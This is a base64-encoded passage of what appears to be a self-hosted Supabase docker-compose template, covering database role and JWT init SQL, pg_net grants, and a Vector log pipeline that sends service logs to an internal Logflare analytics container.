bGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EO1xuJCQ7XG5DT01NRU5UIE9OIEZVTkNUSU9OIGV4dGVuc2lvbnMuZ3JhbnRfcGdfbmV0X2FjY2VzcyBJUyAnR3JhbnRzIGFjY2VzcyB0byBwZ19uZXQnO1xuRE9cbiQkXG5CRUdJTlxuICBJRiBOT1QgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXZlbnRfdHJpZ2dlclxuICAgIFdIRVJFIGV2dG5hbWUgPSAnaXNzdWVfcGdfbmV0X2FjY2VzcydcbiAgKSBUSEVOXG4gICAgQ1JFQVRFIEVWRU5UIFRSSUdHRVIgaXNzdWVfcGdfbmV0X2FjY2VzcyBPTiBkZGxfY29tbWFuZF9lbmQgV0hFTiBUQUcgSU4gKCdDUkVBVEUgRVhURU5TSU9OJylcbiAgICBFWEVDVVRFIFBST0NFRFVSRSBleHRlbnNpb25zLmdyYW50X3BnX25ldF9hY2Nlc3MoKTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCcyMDIxMDgwOTE4MzQyM191cGRhdGVfZ3JhbnRzJyk7XG5BTFRFUiBmdW5jdGlvbiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KCkgU0VDVVJJVFkgREVGSU5FUjtcbkFMVEVSIGZ1bmN0aW9uIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBTRVQgc2VhcmNoX3BhdGggPSBzdXBhYmFzZV9mdW5jdGlvbnM7XG5SRVZPS0UgQUxMIE9OIEZVTkNUSU9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBGUk9NIFBVQkxJQztcbkdSQU5UIEVYRUNVVEUgT04gRlVOQ1RJT04gc3VwYWJhc2VfZnVuY3Rpb25zLmh0dHBfcmVxdWVzdCgpIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5DT01NSVQ7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcm9sZXMuc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk5LXJvbGVzLnNxbAogICAgICAgIGNvbnRlbnQ6ICItLSBOT1RFOiBjaGFuZ2UgdG8geW91ciBvd24gcGFzc3dvcmRzIGZvciBwcm9kdWN0aW9uIGVudmlyb25tZW50c1xuIFxcc2V0IHBncGFzcyBgZWNobyBcIiRQT1NUR1JFU19QQVNTV09SRFwiYFxuXG4gQUxURVIgVVNFUiBhdXRoZW50aWNhdG9yIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgcGdib3VuY2VyIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgc3VwYWJhc2VfYXV0aF9hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX3N0b3JhZ2VfYWRtaW4gV0lUSCBQQVNTV09SRCA6J3BncGFzcyc7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvand0LnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL2luaXQtc2NyaXB0cy85OS1qd3Quc3FsCiAgICAgICAgY29udGVudDogIlxcc2V0IGp3dF9zZWNyZXQgYGVjaG8gXCIkSldUX1NFQ1JFVFwiYFxuXFxzZXQgand0X2V4cCBgZWNobyBcIiRKV1RfRVhQXCJgXG5cXHNldCBkYl9uYW1lIGBlY2hvIFwiJHtQT1NUR1JFU19EQjotcG9zdGdyZXN9XCJgXG5cbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3Rfc2VjcmV0XCIgVE8gOidqd3Rfc2VjcmV0JztcbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3RfZXhwXCIgVE8gOidqd3RfZXhwJztcbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9sb2dzLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktbG9ncy5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwic3VwYWJhc2VfYWRtaW5cImBcblxcYyBfc3VwYWJhc2VcbmNyZWF0ZSBzY2hlbWEgaWYgbm90IGV4aXN0cyBfYW5hbHl0aWNzO1xuYWx0ZXIgc2NoZW1hIF9hbmFseXRpY3Mgb3duZXIgdG8gOnBndXNlcjtcblxcYyBwb3N0Z3Jlc1xuIgogICAgICAtICdzdXBhYmFzZS1kYi1jb25maWc6L2V0Yy9wb3N0Z3Jlc3FsLWN1c3RvbScKICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICBpbWFnZTogJ3N1cGFiYXNlL2xvZ2ZsYXJlOjEuNC4wJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMT0dGTEFSRV9OT0RFX0hPU1Q9MTI3LjAuMC4xCiAgICAgIC0gREJfVVNFUk5BTUU9c3VwYWJhc2VfYWRtaW4KICAgICAgLSBEQl9EQVRBQkFTRT1fc3VwYWJhc2UKICAgICAgLSAnREJfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfU0NIRU1BPV9hbmFseXRpY3MKICAgICAgLSAnTE9HRkxBUkVfQVBJX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTE9HRkxBUkV9JwogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlQ9dHJ1ZQogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlRfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfU1VQQUJBU0VfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfTUlOX0NMVVNURVJfU0laRT0xCiAgICAgIC0gJ1BPU1RHUkVTX0JBQ0tFTkRfVVJMPXBvc3RncmVzcWw6Ly9zdXBhYmFzZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9L19zdXBhYmFzZScKICAgICAgLSBQT1NUR1JFU19CQUNLRU5EX1NDSEVNQT1fYW5hbHl0aWNzCiAgICAgIC0gTE9HRkxBUkVfRkVBVFVSRV9GTEFHX09WRVJSSURFPW11bHRpYmFja2VuZD10cnVlCiAgc3VwYWJhc2UtdmVjdG9yOgogICAgaW1hZ2U6ICd0aW1iZXJpby92ZWN0b3I6MC4yOC4xLWFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vc3VwYWJhc2UtdmVjdG9yOjkwMDEvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9sb2dzL3ZlY3Rvci55bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvdmVjdG9yL3ZlY3Rvci55bWwKICAgICAgICByZWFkX29ubHk6IHRydWUKICAgICAgICBjb250ZW50OiAiYXBpOlxuICBlbmFibGVkOiB0cnVlXG4gIGFkZHJlc3M6IDAuMC4wLjA6OTAwMVxuXG5zb3VyY2VzOlxuICBkb2NrZXJfaG9zdDpcbiAgICB0eXBlOiBkb2NrZXJfbG9nc1xuICAgIGV4Y2x1ZGVfY29udGFpbmVyczpcbiAgICAgIC0gc3VwYWJhc2UtdmVjdG9yXG5cbnRyYW5zZm9ybXM6XG4gIHByb2plY3RfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gZG9ja2VyX2hvc3RcbiAgICBzb3VyY2U6IHwtXG4gICAgICAucHJvamVjdCA9IFwiZGVmYXVsdFwiXG4gICAgICAuZXZlbnRfbWVzc2FnZSA9IGRlbCgubWVzc2FnZSlcbiAgICAgIC5hcHBuYW1lID0gZGVsKC5jb250YWluZXJfbmFtZSlcbiAgICAgIGRlbCguY29udGFpbmVyX2NyZWF0ZWRfYXQpXG4gICAgICBkZWwoLmNvbnRhaW5lcl9pZClcbiAgICAgIGRlbCguc291cmNlX3R5cGUpXG4gICAgICBkZWwoLnN0cmVhbSlcbiAgICAgIGRlbCgubGFiZWwpXG4gICAgICBkZWwoLmltYWdlKVxuICAgICAgZGVsKC5ob3N0KVxuICAgICAgZGVsKC5zdHJlYW0pXG4gIHJvdXRlcjpcbiAgICB0eXBlOiByb3V0ZVxuICAgIGlucHV0czpcbiAgICAgIC0gcHJvamVjdF9sb2dzXG4gICAgcm91dGU6XG4gICAgICBrb25nOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2Uta29uZ1wiKSdcbiAgICAgIGF1dGg6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1hdXRoXCIpJ1xuICAgICAgcmVzdDogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInN1cGFiYXNlLXJlc3RcIiknXG4gICAgICByZWFsdGltZTogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInJlYWx0aW1lLWRldlwiKSdcbiAgICAgIHN0b3JhZ2U6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1zdG9yYWdlXCIpJ1xuICAgICAgZnVuY3Rpb25zOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2UtZnVuY3Rpb25zXCIpJ1xuICAgICAgZGI6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1kYlwiKSdcbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5rb25nXG4gICAgc291cmNlOiB8LVxuICAgICAgcmVxLCBlcnIgPSBwYXJzZV9uZ2lueF9sb2coLmV2ZW50X21lc3NhZ2UsIFwiY29tYmluZWRcIilcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAudGltZXN0YW1wID0gcmVxLnRpbWVzdGFtcFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0LmhlYWRlcnMucmVmZXJlciA9IHJlcS5yZWZlcmVyXG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy51c2VyX2FnZW50ID0gcmVxLmFnZW50XG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy5jZl9jb25uZWN0aW5nX2lwID0gcmVxLmNsaWVudFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0Lm1ldGhvZCA9IHJlcS5tZXRob2RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wYXRoID0gcmVxLnBhdGhcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHJlcS5wcm90b2NvbFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXNwb25zZS5zdGF0dXNfY29kZSA9IHJlcS5zdGF0dXNcbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2VycjpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmtvbmdcbiAgICBzb3VyY2U6IHwtXG4gICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSBcIkdFVFwiXG4gICAgICAubWV0YWRhdGEucmVzcG9uc2Uuc3RhdHVzX2NvZGUgPSAyMDBcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfbmdpbnhfbG9nKC5ldmVudF9tZXNzYWdlLCBcImVycm9yXCIpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lc3RhbXBcbiAgICAgICAgICAuc2V2ZXJpdHkgPSBwYXJzZWQuc2V2ZXJpdHlcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5ob3N0ID0gcGFyc2VkLmhvc3RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5oZWFkZXJzLmNmX2Nvbm5lY3RpbmdfaXAgPSBwYXJzZWQuY2xpZW50XG4gICAgICAgICAgdXJsLCBlcnIgPSBzcGxpdChwYXJzZWQucmVxdWVzdCwgXCIgXCIpXG4gICAgICAgICAgaWYgZXJyID09IG51bGwge1xuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSB1cmxbMF1cbiAgICAgICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QucGF0aCA9IHVybFsxXVxuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHVybFsyXVxuICAgICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBHb3RydWUgbG9ncyBhcmUgc3RydWN0dXJlZCBqc29uIHN0cmluZ3Mgd2hpY2ggZnJvbnRlbmQgcGFyc2VzIGRpcmVjdGx5LiBCdXQgd2Uga2VlcCBtZXRhZGF0YSBmb3IgY29uc2lzdGVuY3kuXG4gIGF1dGhfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmF1dGhcbiAgICBzb3VyY2U6IHwtXG4gICAgICBwYXJzZWQsIGVyciA9IHBhcnNlX2pzb24oLmV2ZW50X21lc3NhZ2UpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLm1ldGFkYXRhLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lXG4gICAgICAgICAgLm1ldGFkYXRhID0gbWVyZ2UhKC5tZXRhZGF0YSwgcGFyc2VkKVxuICAgICAgfVxuICAjIFBvc3RnUkVTVCBsb2dzIGFyZSBzdHJ1Y3R1cmVkIHNvIHdlIHNlcGFyYXRlIHRpbWVzdGFtcCBmcm9tIG1lc3NhZ2UgdXNpbmcgcmVnZXhcbiAgcmVzdF9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIucmVzdFxuICAgIHNvdXJjZTogfC1cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPi4qKTogKD9QPG1zZz4uKikkJylcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAudGltZXN0YW1wID0gdG9fdGltZXN0YW1wIShwYXJzZWQudGltZSlcbiAgICAgICAgICAubWV0YWRhdGEuaG9zdCA9IC5wcm9qZWN0XG4gICAgICB9XG4gICMgUmVhbHRpbWUgbG9ncyBhcmUgc3RydWN0dXJlZCBzbyB3ZSBwYXJzZSB0aGUgc2V2ZXJpdHkgbGV2ZWwgdXNpbmcgcmVnZXggKGlnbm9yZSB0aW1lIGJlY2F1c2UgaXQgaGFzIG5vIGRhdGUpXG4gIHJlYWx0aW1lX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5yZWFsdGltZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLmV4dGVybmFsX2lkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPlxcZCs6XFxkKzpcXGQrXFwuXFxkKykgXFxbKD9QPGxldmVsPlxcdyspXFxdICg/UDxtc2c+LiopJCcpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLmV2ZW50X21lc3NhZ2UgPSBwYXJzZWQubXNnXG4gICAgICAgICAgLm1ldGFkYXRhLmxldmVsID0gcGFyc2VkLmxldmVsXG4gICAgICB9XG4gICMgU3RvcmFnZSBsb2dzIG1heSBjb250YWluIGpzb24gb2JqZWN0cyBzbyB3ZSBwYXJzZSB0aGVtIGZvciBjb21wbGV0ZW5lc3NcbiAgc3RvcmFnZV9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuc3RvcmFnZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLnRlbmFudElkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfanNvbiguZXZlbnRfbWVzc2FnZSlcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAubWV0YWRhdGEubGV2ZWwgPSBwYXJzZWQubGV2ZWxcbiAgICAgICAgICAubWV0YWRhdGEudGltZXN0YW1wID0gcGFyc2VkLnRpbWVcbiAgICAgICAgICAubWV0YWRhdGEuY29udGV4dFswXS5ob3N0ID0gcGFyc2VkLmhvc3RuYW1lXG4gICAgICAgICAgLm1ldGFkYXRhLmNvbnRleHRbMF0ucGlkID0gcGFyc2VkLnBpZFxuICAgICAgfVxuICAjIFBvc3RncmVzIGxvZ3Mgc29tZSBtZXNzYWdlcyB0byBzdGRlcnIgd2hpY2ggd2UgbWFwIHRvIHdhcm5pbmcgc2V2ZXJpdHkgbGV2ZWxcbiAgZGJfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmRiXG4gICAgc291cmNlOiB8LVxuICAgICAgLm1ldGFkYXRhLmhvc3QgPSBcImRiLWRlZmF1bHRcIlxuICAgICAgLm1ldGFkYXRhLnBhcnNlZC50aW1lc3RhbXAgPSAudGltZXN0YW1wXG5cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInLiooP1A8bGV2ZWw+SU5GT3xOT1RJQ0V8V0FSTklOR3xFUlJPUnxMT0d8RkFUQUx8UEFOSUM/KTouKicsIG51bWVyaWNfZ3JvdXBzOiB0cnVlKVxuXG4gICAgICBpZiBlcnIgIT0gbnVsbCB8fCBwYXJzZWQgPT0gbnVsbCB7XG4gICAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSBcImluZm9cIlxuICAgICAgfVxuICAgICAgaWYgcGFyc2VkICE9IG51bGwge1xuICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IHBhcnNlZC5sZXZlbFxuICAgICAgfVxuICAgICAgaWYgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9PSBcImluZm9cIiB7XG4gICAgICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IFwibG9nXCJcbiAgICAgIH1cbiAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSB1cGNhc2UhKC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkpXG5cbnNpbmtzOlxuICBsb2dmbGFyZV9hdXRoOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gYXV0aF9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWdvdHJ1ZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3JlYWx0aW1lOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gcmVhbHRpbWVfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1yZWFsdGltZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3Jlc3Q6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByZXN0X2xvZ3NcbiAgICBlbmNvZGluZzpcbiAgICAgIGNvZGVjOiAnanNvbidcbiAgICBtZXRob2Q6ICdwb3N0J1xuICAgIHJlcXVlc3Q6XG4gICAgICByZXRyeV9tYXhfZHVyYXRpb25fc2VjczogMTBcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvYXBpL2xvZ3M/c291cmNlX25hbWU9cG9zdGdSRVNULmxvZ3MucHJvZCZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfZGI6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSBkYl9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgIyBXZSBtdXN0IHJvdXRlIHRoZSBzaW5rIHRocm91Z2gga29uZyBiZWNhdXNlIGluZ2VzdGluZyBsb2dzIGJlZm9yZSBsb2dmbGFyZSBpcyBmdWxseSBpbml0aWFsaXNlZCB3aWxsXG4gICAgIyBsZWFkIHRvIGJyb2tlbiBxdWVyaWVzIGZyb20gc3R1ZGlvLiBUaGlzIHdvcmtzIGJ5IHRoZSBhc3N1bXB0aW9uIHRoYXQgY29udGFpbmVycyBhcmUgc3RhcnRlZCBpbiB0aGVcbiAgICAjIGZvbGxvd2luZyBvcmRlcjogdmVjdG9yID4gZGIgPiBsb2dmbGFyZSA+IGtvbmdcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwL2FuYWx5dGljcy92MS9hcGkvbG9ncz9zb3VyY2VfbmFtZT1wb3N0Z3Jlcy5sb2dzJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9mdW5jdGlvbnM6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuZnVuY3Rpb25zXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWRlbm8tcmVsYXktbG9ncyZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfc3RvcmFnZTpcbiAgICB0eXBlOiAnaHR0cCdcbiAgICBpbnB1dHM6XG4gICAgICAtIHN0b3JhZ2VfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1zdG9yYWdlLmxvZ3MucHJvZC4yJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9rb25nOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0ga29uZ19sb2dzXG4gICAgICAtIGtvbmdfZXJyXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2